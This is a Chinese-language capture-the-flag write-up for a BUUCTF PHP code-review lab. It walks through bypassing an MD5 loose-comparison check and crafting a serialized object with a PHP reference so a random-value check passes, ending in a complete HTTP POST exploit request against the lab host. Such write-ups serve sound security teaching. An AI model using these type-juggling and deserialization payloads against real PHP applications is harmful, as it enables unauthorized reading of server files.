进入靶场我们会看到这么一段代码

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */

highlight_file(__FILE__);

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') 
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

阅读最后一段代码我们可以得到,要想拿到flag,需要满足以下条件

1. GET 参数: ?pleaseget=1

2. POST 参数: pleasepost=2

3. POST 参数: md51 和 md52 的 MD5 弱相等(==),但值不同

4. POST 参数: obj = BUU类的反序列化字符串

接下来我们分布完成

第一步:MD5 弱类型绕过

PHP == 比较时,0e 开头的科学计数法字符串会被当作 0 处理:

表格

字符串

MD5

特点

240610708

0e462097431906509019562988736854

0e开头

QNKCDZO

0e830400497993494058024219903391

0e开头

所以第三个条件就可以是md51=240610708 , md52=QNKCDZO

第三步

  • __destruct()$this->correct 被赋值为随机值 base64_encode(uniqid())

  • 需要 $this->correct === $this->input 才能拿到 flag

  • uniqid() 是基于微秒时间生成的随机值,无法预测

解决方案:PHP 引用赋值

$input 成为 $correct 的引用,这样两者始终指向同一内存地址,值永远相同。

生成 Payload:

ph

<?php
class BUU {
   public $correct = "";
   public $input = "";
}

$buu = new BUU();
$buu->input = &$buu->correct;  // 关键:引用赋值

echo serialize($buu);
// 输出:O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
?>

R:2 表示引用第 2 个属性,这是 PHP 序列化中表示引用的语法。

然后我们随便拦截一个包改成

POST /?pleaseget=1 HTTP/1.1
Host: ad2bef0e-f751-4f8e-a706-9d33baa08257.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Content-Length: 86

pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

php

拿到flag

BUU CODE REVIEW-1.png